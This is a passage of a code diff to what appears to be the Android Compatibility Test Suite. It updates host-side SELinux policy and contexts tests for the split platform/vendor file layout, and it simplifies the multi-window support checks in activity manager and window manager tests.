 import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.log.LogUtil.CLog;
 import com.android.tradefed.testtype.DeviceTestCase;
 import com.android.tradefed.testtype.IBuildReceiver;
 import com.android.tradefed.testtype.IDeviceTest;
@@ -31,8 +31,10 @@
 import com.android.compatibility.common.util.CddTest;
 
 import java.io.BufferedReader;
+import java.io.ByteArrayOutputStream;
 import java.io.File;
 import java.io.FileReader;
+import java.io.FileInputStream;
 import java.io.FileOutputStream;
 import java.io.IOException;
 import java.io.InputStream;
@@ -40,6 +42,7 @@
 import java.lang.String;
 import java.util.ArrayList;
 import java.util.Arrays;
+import java.util.Collections;
 import java.util.HashMap;
 import java.util.HashSet;
 import java.util.List;
@@ -65,8 +68,10 @@
     private File aospPcFile;
     private File aospSvcFile;
     private File devicePolicyFile;
-    private File deviceSeappFile;
-    private File deviceFcFile;
+    private File devicePlatSeappFile;
+    private File deviceNonplatSeappFile;
+    private File devicePlatFcFile;
+    private File deviceNonplatFcFile;
     private File devicePcFile;
     private File deviceSvcFile;
     private File seappNeverAllowFile;
@@ -109,6 +114,18 @@
         return tempFile;
     }
 
+    private static void appendTo(String dest, String src) throws IOException {
+        try (FileInputStream is = new FileInputStream(new File(src));
+             FileOutputStream os = new FileOutputStream(new File(dest))) {
+            byte[] buf = new byte[1024];
+            int len;
+
+            while ((len = is.read(buf)) != -1) {
+                os.write(buf, 0, len);
+            }
+        }
+    }
+
     @Override
     protected void setUp() throws Exception {
         super.setUp();
@@ -170,18 +187,78 @@
      *  The type name.
      */
     private void assertNotInAttribute(String attribute, String badtype) throws Exception {
-        /* run sepolicy-analyze attribute check on policy file */
-        ProcessBuilder pb = new ProcessBuilder(sepolicyAnalyze.getAbsolutePath(),
-                devicePolicyFile.getAbsolutePath(), "attribute", attribute);
+        Set<String> actualTypes = sepolicyAnalyzeGetTypesAssociatedWithAttribute(attribute);
+        if (actualTypes.contains(badtype)) {
+            fail("Attribute " + attribute + " includes " + badtype);
+        }
+    }
+
+    private static final byte[] readFully(InputStream in) throws IOException {
+        ByteArrayOutputStream result = new ByteArrayOutputStream();
+        byte[] buf = new byte[65536];
+        int chunkSize;
+        while ((chunkSize = in.read(buf)) != -1) {
+            result.write(buf, 0, chunkSize);
+        }
+        return result.toByteArray();
+    }
+
+    /**
+     * Runs sepolicy-analyze against the device's SELinux policy and returns the set of types
+     * associated with the provided attribute.
+     */
+    private Set<String> sepolicyAnalyzeGetTypesAssociatedWithAttribute(
+            String attribute) throws Exception {
+        ProcessBuilder pb =
+                new ProcessBuilder(
+                        sepolicyAnalyze.getAbsolutePath(),
+                        devicePolicyFile.getAbsolutePath(),
+                        "attribute",
+                        attribute);
         pb.redirectOutput(ProcessBuilder.Redirect.PIPE);
         pb.redirectErrorStream(true);
         Process p = pb.start();
-        p.waitFor();
-        BufferedReader result = new BufferedReader(new InputStreamReader(p.getInputStream()));
-        String type;
-        while ((type = result.readLine()) != null) {
-            assertFalse("Attribute " + attribute + " includes " + type + "\n",
-                        type.equals(badtype));
+        int errorCode = p.waitFor();
+        if (errorCode != 0) {
+            fail("sepolicy-analyze attribute " + attribute + " failed with error code " + errorCode
+                    + ": " + new String(readFully(p.getInputStream())));
+        }
+        try (BufferedReader in =
+                new BufferedReader(new InputStreamReader(p.getInputStream()))) {
+            Set<String> types = new HashSet<>();
+            String type;
+            while ((type = in.readLine()) != null) {
+                types.add(type.trim());
+            }
+            return types;
+        }
+    }
+
+    private boolean isFullTrebleDevice() throws Exception {
+        if (PropertyUtil.getFirstApiLevel(mDevice) > 25) {
+            return true;
+        }
+        return mDevice.getFileEntry("/system/etc/selinux/plat_sepolicy.cil") != null;
+    }
+
+    /**
+     * Asserts that no vendor domains are exempted from the prohibition on Binder use.
+     *
+     * <p>NOTE: There's no explicit CDD requirement for this because this is a temporary crutch
+     * during Android O development. This test will be removed before Android O.
+     * TODO(b/35870313): Remove this test once b/35870313 is fixed.
+     */
+    public void testNoExemptionsForBinderInVendorBan() throws Exception {
+        if (!isFullTrebleDevice()) {
+            return;
+        }
+
+        Set<String> types =
+            sepolicyAnalyzeGetTypesAssociatedWithAttribute("binder_in_vendor_violators");
+        if (!types.isEmpty()) {
+            List<String> sortedTypes = new ArrayList<>(types);
+            Collections.sort(sortedTypes);
+            fail("Policy exempts vendor domains from ban on Binder: " + sortedTypes);
         }
     }
 
@@ -208,22 +285,30 @@
     public void testValidSeappContexts() throws Exception {
 
         /* obtain seapp_contexts file from running device */
-        deviceSeappFile = File.createTempFile("seapp_contexts", ".tmp");
-        deviceSeappFile.deleteOnExit();
-        mDevice.pullFile("/seapp_contexts", deviceSeappFile);
+        devicePlatSeappFile = File.createTempFile("plat_seapp_contexts", ".tmp");
+        devicePlatSeappFile.deleteOnExit();
+        deviceNonplatSeappFile = File.createTempFile("nonplat_seapp_contexts", ".tmp");
+        deviceNonplatSeappFile.deleteOnExit();
+        if (mDevice.pullFile("/system/etc/selinux/plat_seapp_contexts", devicePlatSeappFile)) {
+            mDevice.pullFile("/vendor/etc/selinux/nonplat_seapp_contexts", deviceNonplatSeappFile);
+        }else {
+            mDevice.pullFile("/plat_seapp_contexts", devicePlatSeappFile);
+            mDevice.pullFile("/nonplat_seapp_contexts", deviceNonplatSeappFile);
+	}
 
         /* retrieve the checkseapp executable from jar */
         checkSeapp = copyResourceToTempFile("/checkseapp");
         checkSeapp.setExecutable(true);
 
         /* retrieve the AOSP seapp_neverallows file from jar */
-        seappNeverAllowFile = copyResourceToTempFile("/general_seapp_neverallows");
+        seappNeverAllowFile = copyResourceToTempFile("/plat_seapp_neverallows");
 
         /* run checkseapp on seapp_contexts */
         ProcessBuilder pb = new ProcessBuilder(checkSeapp.getAbsolutePath(),
                 "-p", devicePolicyFile.getAbsolutePath(),
                 seappNeverAllowFile.getAbsolutePath(),
-                deviceSeappFile.getAbsolutePath());
+                devicePlatSeappFile.getAbsolutePath(),
+                deviceNonplatSeappFile.getAbsolutePath());
         pb.redirectOutput(ProcessBuilder.Redirect.PIPE);
         pb.redirectErrorStream(true);
         Process p = pb.start();
@@ -240,6 +325,27 @@
     }
 
     /**
+     * Asserts that the actual file contents are equal to the expected file
+     * contents.
+     *
+     * @param expectedFile
+     *  The file with the expected contents.
+     * @param actualFile
+     *  The actual file being checked.
+     */
+    private void assertFileEquals(File expectedFile, File actualFile) throws Exception {
+        BufferedReader expectedReader = new BufferedReader(new FileReader(expectedFile.getAbsolutePath()));
+        BufferedReader actualReader = new BufferedReader(new FileReader(actualFile.getAbsolutePath()));
+        String expectedLine, actualLine;
+        while ((expectedLine = expectedReader.readLine()) != null) {
+            actualLine = actualReader.readLine();
+            assertEquals("Lines do not match:", expectedLine, actualLine);
+        }
+        actualLine = actualReader.readLine();
+        assertTrue("Extra lines starting with: " + actualLine, (actualLine == null));
+    }
+
+    /**
      * Asserts that the actual file contents starts with the expected file
      * contents.
      *
@@ -259,31 +365,6 @@
     }
 
     /**
-     * Returns {@code true} if the actual file contents starts with the expected
-     * file contents.
-     *
-     * @param expectedFile
-     *  The file with the expected contents.
-     * @param actualFile
-     *  The actual file being checked.
-     */
-    private boolean isFileStartsWith(File expectedFile, File actualFile) throws Exception {
-        BufferedReader expectedReader = new BufferedReader(new FileReader(expectedFile.getAbsolutePath()));
-        BufferedReader actualReader = new BufferedReader(new FileReader(actualFile.getAbsolutePath()));
-        String expectedLine, actualLine;
-        boolean startsWith = true;
-        while ((expectedLine = expectedReader.readLine()) != null) {
-            actualLine = actualReader.readLine();
-            if (!expectedLine.equals(actualLine)) {
-                startsWith = false;
-                CLog.d("Lines do not match, expected:" + expectedLine +
-                        " actual:" + actualLine);
-            }
-        }
-        return startsWith;
-    }
-
-    /**
      * Tests that the seapp_contexts file on the device contains
      * the standard AOSP entries.
      *
@@ -293,14 +374,15 @@
     public void testAospSeappContexts() throws Exception {
 
         /* obtain seapp_contexts file from running device */
-        deviceSeappFile = File.createTempFile("seapp_contexts", ".tmp");
-        deviceSeappFile.deleteOnExit();
-        mDevice.pullFile("/seapp_contexts", deviceSeappFile);
-
+        devicePlatSeappFile = File.createTempFile("seapp_contexts", ".tmp");
+        devicePlatSeappFile.deleteOnExit();
+        if (!mDevice.pullFile("/system/etc/selinux/plat_seapp_contexts", devicePlatSeappFile)) {
+            mDevice.pullFile("/plat_seapp_contexts", devicePlatSeappFile);
+        }
         /* retrieve the AOSP seapp_contexts file from jar */
-        aospSeappFile = copyResourceToTempFile("/general_seapp_contexts");
+        aospSeappFile = copyResourceToTempFile("/plat_seapp_contexts");
 
-        assertFileStartsWith(aospSeappFile, deviceSeappFile);
+        assertFileEquals(aospSeappFile, devicePlatSeappFile);
     }
 
     /**
@@ -316,45 +398,29 @@
         checkFc = copyResourceToTempFile("/checkfc");
         checkFc.setExecutable(true);
 
-        /* obtain file_contexts.bin file from running device */
-        deviceFcFile = File.createTempFile("file_contexts", ".bin");
-        deviceFcFile.deleteOnExit();
-        mDevice.pullFile("/file_contexts.bin", deviceFcFile);
-
-        /* Compares with AOSP file_contexts file from jar */
-        String line = checkFileContexts("/general_file_contexts.bin");
-
-        if(line.equals("equal") || line.equals("subset")) {
-            CLog.d("The file_contexts.bin file includes the latest AOSP entries.\n");
-        } else {
-            CLog.d("The file_contexts.bin file did not include the latest AOSP entries:\n"
-                       + line + "\n");
-
-            /* Compares with NMR1 AOSP file_contexts */
-            line = checkFileContexts("/ab3857191_file_contexts.bin");
-            assertTrue("The file_contexts.bin file did not include the AOSP entries:\n"
-                       + line + "\n",
-                       line.equals("equal") || line.equals("subset"));
+        /* obtain file_contexts file(s) from running device */
+        devicePlatFcFile = File.createTempFile("file_contexts", ".tmp");
+        devicePlatFcFile.deleteOnExit();
+        if (!mDevice.pullFile("/system/etc/selinux/plat_file_contexts", devicePlatFcFile)) {
+            mDevice.pullFile("/file_contexts.bin", devicePlatFcFile);
         }
-    }
 
-    /**
-     * Check deviceFcFile with a file_contexts file and returns the result string
-     *
-     * @param fcFileName
-     *  The file_contexts file name that with the expected contents in jar.
-     */
-    private String checkFileContexts(String fcFileName) throws Exception {
-        File fcFile = copyResourceToTempFile(fcFileName);
+        /* retrieve the AOSP file_contexts file from jar */
+        aospFcFile = copyResourceToTempFile("/plat_file_contexts");
+
+        /* run checkfc -c plat_file_contexts file_contexts.bin */
         ProcessBuilder pb = new ProcessBuilder(checkFc.getAbsolutePath(),
-                "-c", fcFile.getAbsolutePath(),
-                deviceFcFile.getAbsolutePath());
+                "-c", aospFcFile.getAbsolutePath(),
+                devicePlatFcFile.getAbsolutePath());
         pb.redirectOutput(ProcessBuilder.Redirect.PIPE);
         pb.redirectErrorStream(true);
         Process p = pb.start();
         p.waitFor();
         BufferedReader result = new BufferedReader(new InputStreamReader(p.getInputStream()));
-        return result.readLine();
+        String line = result.readLine();
+        assertTrue("The file_contexts file did not include the AOSP entries:\n"
+                   + line + "\n",
+                   line.equals("equal") || line.equals("subset"));
     }
 
     /**
@@ -367,14 +433,19 @@
     public void testAospPropertyContexts() throws Exception {
 
         /* obtain property_contexts file from running device */
-        devicePcFile = File.createTempFile("property_contexts", ".tmp");
+        devicePcFile = File.createTempFile("plat_property_contexts", ".tmp");
         devicePcFile.deleteOnExit();
-        mDevice.pullFile("/property_contexts", devicePcFile);
+        // plat_property_contexts may be either in /system/etc/sepolicy or in /
+        if (!mDevice.pullFile("/system/etc/selinux/plat_property_contexts", devicePcFile)) {
+            mDevice.pullFile("/plat_property_contexts", devicePcFile);
+        }
 
-        /* retrieve the AOSP property_contexts file from jar */
-        aospPcFile = copyResourceToTempFile("/general_property_contexts");
+        // Retrieve the AOSP property_contexts file from JAR.
+        // The location of this file in the JAR has nothing to do with the location of this file on
+        // Android devices. See build script of this CTS module.
+        aospPcFile = copyResourceToTempFile("/plat_property_contexts");
 
-        assertFileStartsWith(aospPcFile, devicePcFile);
+        assertFileEquals(aospPcFile, devicePcFile);
     }
 
     /**
@@ -389,20 +460,18 @@
         /* obtain service_contexts file from running device */
         deviceSvcFile = File.createTempFile("service_contexts", ".tmp");
         deviceSvcFile.deleteOnExit();
-        mDevice.pullFile("/service_contexts", deviceSvcFile);
+        if (!mDevice.pullFile("/system/etc/selinux/plat_service_contexts", deviceSvcFile)) {
+            mDevice.pullFile("/plat_service_contexts", deviceSvcFile);
+        }
 
         /* retrieve the AOSP service_contexts file from jar */
-        aospSvcFile = copyResourceToTempFile("/general_service_contexts");
+        aospSvcFile = copyResourceToTempFile("/plat_service_contexts");
 
-        /* retrieve NMR1 AOSP service_contexts file from jar */
-        if (!isFileStartsWith(aospSvcFile, deviceSvcFile)) {
-            aospSvcFile = copyResourceToTempFile("/ab3857191_service_contexts");
-            assertFileStartsWith(aospSvcFile, deviceSvcFile);
-        }
+        assertFileEquals(aospSvcFile, deviceSvcFile);
     }
 
     /**
-     * Tests that the file_contexts.bin file on the device is valid.
+     * Tests that the file_contexts file(s) on the device is valid.
      *
      * @throws Exception
      */
@@ -413,15 +482,23 @@
         checkFc = copyResourceToTempFile("/checkfc");
         checkFc.setExecutable(true);
 
-        /* obtain file_contexts.bin file from running device */
-        deviceFcFile = File.createTempFile("file_contexts", ".bin");
-        deviceFcFile.deleteOnExit();
-        mDevice.pullFile("/file_contexts.bin", deviceFcFile);
+        /* obtain file_contexts file(s) from running device */
+        devicePlatFcFile = File.createTempFile("plat_file_contexts", ".tmp");
+        devicePlatFcFile.deleteOnExit();
+        deviceNonplatFcFile = File.createTempFile("nonplat_file_contexts", ".tmp");
+        deviceNonplatFcFile.deleteOnExit();
+        if (mDevice.pullFile("/system/etc/selinux/plat_file_contexts", devicePlatFcFile)) {
+            mDevice.pullFile("/vendor/etc/selinux/nonplat_file_contexts", deviceNonplatFcFile);
+            appendTo(devicePlatFcFile.getAbsolutePath(),
+                         deviceNonplatFcFile.getAbsolutePath());
+        } else {
+            mDevice.pullFile("/file_contexts.bin", devicePlatFcFile);
+        }
 
-        /* run checkfc sepolicy file_contexts.bin */
+        /* run checkfc sepolicy file_contexts */
         ProcessBuilder pb = new ProcessBuilder(checkFc.getAbsolutePath(),
                 devicePolicyFile.getAbsolutePath(),
-                deviceFcFile.getAbsolutePath());
+                devicePlatFcFile.getAbsolutePath());
         pb.redirectOutput(ProcessBuilder.Redirect.PIPE);
         pb.redirectErrorStream(true);
         Process p = pb.start();
@@ -433,7 +510,7 @@
             errorString.append(line);
             errorString.append("\n");
         }
-        assertTrue("The file_contexts.bin file was invalid:\n"
+        assertTrue("file_contexts was invalid:\n"
                    + errorString, errorString.length() == 0);
     }
 
@@ -726,13 +803,6 @@
         assertDomainN("u:r:netd:s0", "/system/bin/netd", "/system/bin/iptables-restore", "/system/bin/ip6tables-restore");
     }
 
-    /* Debuggerd is always there */
-    @CddTest(requirement="9.7")
-    public void testDebuggerdDomain() throws DeviceNotAvailableException {
-        assertDomainN("u:r:debuggerd:s0", "/system/bin/debuggerd", "/system/bin/debuggerd64",
-                "debuggerd:signaller", "debuggerd64:signaller");
-    }
-
     /* Surface flinger is always there */
     @CddTest(requirement="9.7")
     public void testSurfaceflingerDomain() throws DeviceNotAvailableException {
diff --git a/hostsidetests/security/src/android/security/cts/SecurityTestCase.java b/hostsidetests/security/src/android/security/cts/SecurityTestCase.java
index b6599c1..5c84850 100644
--- a/hostsidetests/security/src/android/security/cts/SecurityTestCase.java
+++ b/hostsidetests/security/src/android/security/cts/SecurityTestCase.java
@@ -64,6 +64,17 @@
     }
 
     /**
+     * Check if a driver is present on a machine
+     */
+    public boolean containsDriver(ITestDevice mDevice, String driver) throws Exception {
+        String result = mDevice.executeShellCommand("ls -Zl " + driver);
+        if(result.contains("No such file or directory")) {
+            return false;
+        }
+        return true;
+    }
+
+    /**
      * Makes sure the phone is online, and the ensure the current boottime is within 2 seconds
      * (due to rounding) of the previous boottime to check if The phone has crashed.
      */
diff --git a/hostsidetests/services/activitymanager/Android.mk b/hostsidetests/services/activitymanager/Android.mk
index 0cf1f2b..51a6ed4 100644
--- a/hostsidetests/services/activitymanager/Android.mk
+++ b/hostsidetests/services/activitymanager/Android.mk
@@ -27,8 +27,6 @@
 
 LOCAL_CTS_TEST_PACKAGE := android.server
 
-LOCAL_CTS_MODULE_CONFIG := $(LOCAL_PATH)/Old$(CTS_MODULE_TEST_CONFIG)
-
 # Tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts
 
diff --git a/hostsidetests/services/activitymanager/OldAndroidTest.xml b/hostsidetests/services/activitymanager/OldAndroidTest.xml
deleted file mode 100644
index 37393763..0000000
--- a/hostsidetests/services/activitymanager/OldAndroidTest.xml
+++ /dev/null
@@ -1,20 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2015 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-<configuration description="CTS package preparer for install/uninstall of the apk used as a test operation target">
-    <include name="common-config" />
-    <!-- This will tell tradefed to install the test apk. -->
-    <option name="cts-apk-installer:test-file-name" value="CtsDeviceServicesTestApp.apk" />
-</configuration>
diff --git a/hostsidetests/services/activitymanager/app/AndroidManifest.xml b/hostsidetests/services/activitymanager/app/AndroidManifest.xml
index bc4c4caf..8af5ede 100755
--- a/hostsidetests/services/activitymanager/app/AndroidManifest.xml
+++ b/hostsidetests/services/activitymanager/app/AndroidManifest.xml
@@ -175,8 +175,6 @@
                 android:name=".EntryPointAliasActivity"
                 android:targetActivity=".TrampolineActivity" >
         </activity-alias>
-        <activity android:name=".MultiWindowSupportObserver"
-            android:exported="true" />
     </application>
 </manifest>
 
diff --git a/hostsidetests/services/activitymanager/app/src/android/server/app/MultiWindowSupportObserver.java b/hostsidetests/services/activitymanager/app/src/android/server/app/MultiWindowSupportObserver.java
deleted file mode 100644
index 0d54912..0000000
--- a/hostsidetests/services/activitymanager/app/src/android/server/app/MultiWindowSupportObserver.java
+++ /dev/null
@@ -1,18 +0,0 @@
-package android.server.app;
-
-import android.app.Activity;
-import android.content.res.Resources;
-import android.os.Bundle;
-import android.util.Log;
-
-public class MultiWindowSupportObserver extends Activity {
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-        int id = Resources.getSystem().getIdentifier("config_supportsMultiWindow", "bool", "android");
-        boolean support = Resources.getSystem().getBoolean(id);
-        Log.i(getClass().getSimpleName(), "HEAD=OK");
-        Log.i(getClass().getSimpleName(), "DROP=OK");
-        Log.i(getClass().getSimpleName(), "config_supportsMultiWindow="+support);
-    }
-}
diff --git a/hostsidetests/services/activitymanager/src/android/server/cts/ActivityManagerActivityVisiblityTests.java b/hostsidetests/services/activitymanager/src/android/server/cts/ActivityManagerActivityVisiblityTests.java
index a2df58c..866251c 100644
--- a/hostsidetests/services/activitymanager/src/android/server/cts/ActivityManagerActivityVisiblityTests.java
+++ b/hostsidetests/services/activitymanager/src/android/server/cts/ActivityManagerActivityVisiblityTests.java
@@ -140,7 +140,7 @@
     }
 
     public void testTranslucentActivityOverDockedStack() throws Exception {
-        if (!supportsSplitScreenMultiWindow() || !supportsMultiWindowMode()) {
+        if (!supportsSplitScreenMultiWindow()) {
             CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no multi-window support");
             return;
         }
diff --git a/hostsidetests/services/activitymanager/src/android/server/cts/ActivityManagerAppConfigurationTests.java b/hostsidetests/services/activitymanager/src/android/server/cts/ActivityManagerAppConfigurationTests.java
index eb39ef8..a5c3149 100644
--- a/hostsidetests/services/activitymanager/src/android/server/cts/ActivityManagerAppConfigurationTests.java
+++ b/hostsidetests/services/activitymanager/src/android/server/cts/ActivityManagerAppConfigurationTests.java
@@ -36,7 +36,7 @@
      * docked state.
      */
     public void testConfigurationUpdatesWhenResizedFromFullscreen() throws Exception {
-        if (!supportsSplitScreenMultiWindow() || !supportsMultiWindowMode()) {
+        if (!supportsSplitScreenMultiWindow()) {
             CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no multi-window support");
             return;
         }
@@ -55,7 +55,7 @@
      * from docked state to fullscreen (reverse).
      */
     public void testConfigurationUpdatesWhenResizedFromDockedStack() throws Exception {
-        if (!supportsSplitScreenMultiWindow() || !supportsMultiWindowMode()) {
+        if (!supportsSplitScreenMultiWindow()) {
             CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no multi-window support");
             return;
         }
@@ -90,8 +90,12 @@
      * is in the docked stack.
      */
     public void testConfigurationUpdatesWhenRotatingWhileDocked() throws Exception {
-        if (!supportsScreenRotation() || !supportsSplitScreenMultiWindow() || !supportsMultiWindowMode()) {
-            CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no rotation nor multi-window support");
+        if (!supportsScreenRotation()) {
+            CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no rotation support");
+            return;
+        }
+        if (!supportsSplitScreenMultiWindow()) {
+            CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no multi-window support");
             return;
         }
 
@@ -117,7 +121,7 @@
             CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no rotation support");
             return;
         }
-        if (!supportsSplitScreenMultiWindow() || !supportsMultiWindowMode()) {
+        if (!supportsSplitScreenMultiWindow()) {
             CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no multi-window support");
             return;
         }
diff --git a/hostsidetests/services/activitymanager/src/android/server/cts/ActivityManagerDockedStackTests.java b/hostsidetests/services/activitymanager/src/android/server/cts/ActivityManagerDockedStackTests.java
index 3a969fe..773584e 100644
--- a/hostsidetests/services/activitymanager/src/android/server/cts/ActivityManagerDockedStackTests.java
+++ b/hostsidetests/services/activitymanager/src/android/server/cts/ActivityManagerDockedStackTests.java
@@ -83,14 +83,14 @@
         launchActivityInDockStack(LAUNCHING_ACTIVITY);
         mAmWmState.computeState(mDevice, new String[] {LAUNCHING_ACTIVITY});
         launchActivityToSide();
-        mAmWmState.computeState(mDevice, new String[] {LAUNCHING_ACTIVITY, TEST_ACTIVITY_NAME});
+        mAmWmState.computeState(mDevice, new String[] {TEST_ACTIVITY_NAME});
         mAmWmState.assertContainsStack(
                 "Must contain fullscreen stack.", FULLSCREEN_WORKSPACE_STACK_ID);
         mAmWmState.assertContainsStack("Must contain docked stack.", DOCKED_STACK_ID);
     }
 
     public void testLaunchToSideAndBringToFront() throws Exception {
-        if (!supportsSplitScreenMultiWindow() || !supportsMultiWindowMode()) {
+        if (!supportsSplitScreenMultiWindow()) {
             CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no split multi-window support");
             return;
         }
@@ -130,7 +130,7 @@
     }
 
     public void testLaunchToSideMultiple() throws Exception {
-        if (!supportsSplitScreenMultiWindow() || !supportsMultiWindowMode()) {
+        if (!supportsSplitScreenMultiWindow()) {
             CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no split multi-window support");
             return;
         }
@@ -163,18 +163,10 @@
     }
 
     public void testLaunchToSideSingleInstance() throws Exception {
-        if (!supportsMultiWindowMode()) {
-            CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no multi-window support");
-            return;
-        }
         launchTargetToSide(SINGLE_INSTANCE_ACTIVITY_NAME, false);
     }
 
     public void testLaunchToSideSingleTask() throws Exception {
-        if (!supportsMultiWindowMode()) {
-            CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no multi-window support");
-            return;
-        }
         launchTargetToSide(SINGLE_TASK_ACTIVITY_NAME, false);
     }
 
@@ -383,7 +375,6 @@
             CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no multi-window support");
             return;
         }
-
         final String[] waitTestActivityName = new String[] {TEST_ACTIVITY_NAME};
         executeShellCommand(getAmStartCmd(TEST_ACTIVITY_NAME));
         mAmWmState.computeState(mDevice, waitTestActivityName);
diff --git a/hostsidetests/services/activitymanager/src/android/server/cts/ActivityManagerManifestLayoutTests.java b/hostsidetests/services/activitymanager/src/android/server/cts/ActivityManagerManifestLayoutTests.java
index 89b3911..66d250e 100644
--- a/hostsidetests/services/activitymanager/src/android/server/cts/ActivityManagerManifestLayoutTests.java
+++ b/hostsidetests/services/activitymanager/src/android/server/cts/ActivityManagerManifestLayoutTests.java
@@ -81,7 +81,7 @@
     }
 
     public void testMinimalSizeDocked() throws Exception {
-        if (!supportsSplitScreenMultiWindow() || !supportsMultiWindowMode()) {
+        if (!supportsSplitScreenMultiWindow()) {
             CLog.logAndDisplay(INFO, "Skipping test: no multi-window support");
             return;
         }
diff --git a/hostsidetests/services/activitymanager/src/android/server/cts/ActivityManagerTestBase.java b/hostsidetests/services/activitymanager/src/android/server/cts/ActivityManagerTestBase.java
index 14acc20..9b6bb8b 100644
--- a/hostsidetests/services/activitymanager/src/android/server/cts/ActivityManagerTestBase.java
+++ b/hostsidetests/services/activitymanager/src/android/server/cts/ActivityManagerTestBase.java
@@ -95,9 +95,6 @@
     final private String NO_HOME_SCREEN_OBSERVER = "NoHomeScreenObserver";
     private static boolean mCheckedNoHomeScreen = false;
     private static boolean mNoHomeScreen = false;
-    final private String SUPPORT_OBSERVER = "MultiWindowSupportObserver";
-    private static boolean mConfigLoaded = false;
-    private static boolean mSupportMultiWindow = true;
 
     protected static String getAmStartCmd(final String activityName) {
         return "am start -n " + getActivityComponentName(activityName);
@@ -281,27 +278,8 @@
     }
 
     protected boolean supportsMultiWindowMode() throws DeviceNotAvailableException {
-        if(hasDeviceFeature("android.hardware.type.watch")) {
-            mSupportMultiWindow = false;
-        } else {
-            if (!mConfigLoaded) {
-                try {
-                    executeShellCommand("am start -n " + "android.server.app/." + SUPPORT_OBSERVER);
-                    waitForResume("android.server.app", SUPPORT_OBSERVER);
-                    Map map = getLogResults(SUPPORT_OBSERVER);
-                    String value = (String)map.get(RESULT_KEY_HEAD);
-                    if (value != null && value.equals("OK")) {
-                        mConfigLoaded = true;
-                        mSupportMultiWindow = !map.get("config_supportsMultiWindow").equals("false");
-                    }
-                    executeShellCommand(AM_FORCE_STOP_TEST_PACKAGE);
-                    clearLogs();
-                } catch (Exception e) {
-                    e.printStackTrace();
-                }
-            }
-        }
-        return mSupportMultiWindow || PRETEND_DEVICE_SUPPORTS_DOCKING;
+        return !hasDeviceFeature("android.hardware.type.watch")
+                || PRETEND_DEVICE_SUPPORTS_DOCKING;
     }
 
     protected boolean supportsScreenRotation() throws DeviceNotAvailableException {
@@ -328,15 +306,11 @@
                     mNoHomeScreen = map.get("config_noHomeScreen").equals("true");
                 }
                 executeShellCommand(AM_FORCE_STOP_TEST_PACKAGE);
-              } catch (Exception e) {
-                  e.printStackTrace();
-              }
-          }
-          return mNoHomeScreen;
-      }
-
-    private void clearLogs() throws DeviceNotAvailableException {
-        executeShellCommand("logcat -c");
+            } catch (Exception e) {
+                e.printStackTrace();
+            }
+        }
+        return mNoHomeScreen;
     }
 
     private Map<String, String> getLogResults(String className) throws Exception {
diff --git a/hostsidetests/services/windowmanager/Android.mk b/hostsidetests/services/windowmanager/Android.mk
index eeac27b..4448d9a 100644
--- a/hostsidetests/services/windowmanager/Android.mk
+++ b/hostsidetests/services/windowmanager/Android.mk
@@ -18,7 +18,6 @@
 
 LOCAL_MODULE_TAGS := tests
 
-# Must match the package name in OldCtsTestCaseList.mk
 LOCAL_MODULE := CtsDragAndDropHostTestCases
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
@@ -27,8 +26,6 @@
 
 LOCAL_CTS_TEST_PACKAGE := android.wm.cts
 
-LOCAL_CTS_MODULE_CONFIG := $(LOCAL_PATH)/Old$(CTS_MODULE_TEST_CONFIG)
-
 # Tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts
 
diff --git a/hostsidetests/services/windowmanager/OldAndroidTest.xml b/hostsidetests/services/windowmanager/OldAndroidTest.xml
deleted file mode 100644
index ddf1f41..0000000
--- a/hostsidetests/services/windowmanager/OldAndroidTest.xml
+++ /dev/null
@@ -1,22 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2016 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-<configuration description="CTS package preparer for install/uninstall of the apk used as a test operation target">
-    <include name="common-config" />
-    <!-- This will tell tradefed to install the test apk. -->
-    <option name="cts-apk-installer:test-file-name" value="CtsDragAndDropSourceApp.apk" />
-    <option name="cts-apk-installer:test-file-name" value="CtsDragAndDropTargetApp.apk" />
-    <option name="cts-apk-installer:test-file-name" value="CtsDragAndDropTargetAppSdk23.apk" />
-</configuration>
diff --git a/hostsidetests/services/windowmanager/dndsourceapp/AndroidManifest.xml b/hostsidetests/services/windowmanager/dndsourceapp/AndroidManifest.xml
index a45b62f..296a979 100644
--- a/hostsidetests/services/windowmanager/dndsourceapp/AndroidManifest.xml
+++ b/hostsidetests/services/windowmanager/dndsourceapp/AndroidManifest.xml
@@ -23,8 +23,7 @@
                 <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
-        <activity android:name=".MultiWindowSupportObserver"
-            android:exported="true"/>
+
         <provider android:name="android.wm.cts.dndsourceapp.DragSourceContentProvider"
                   android:authorities="android.wm.cts.dndsource.contentprovider"
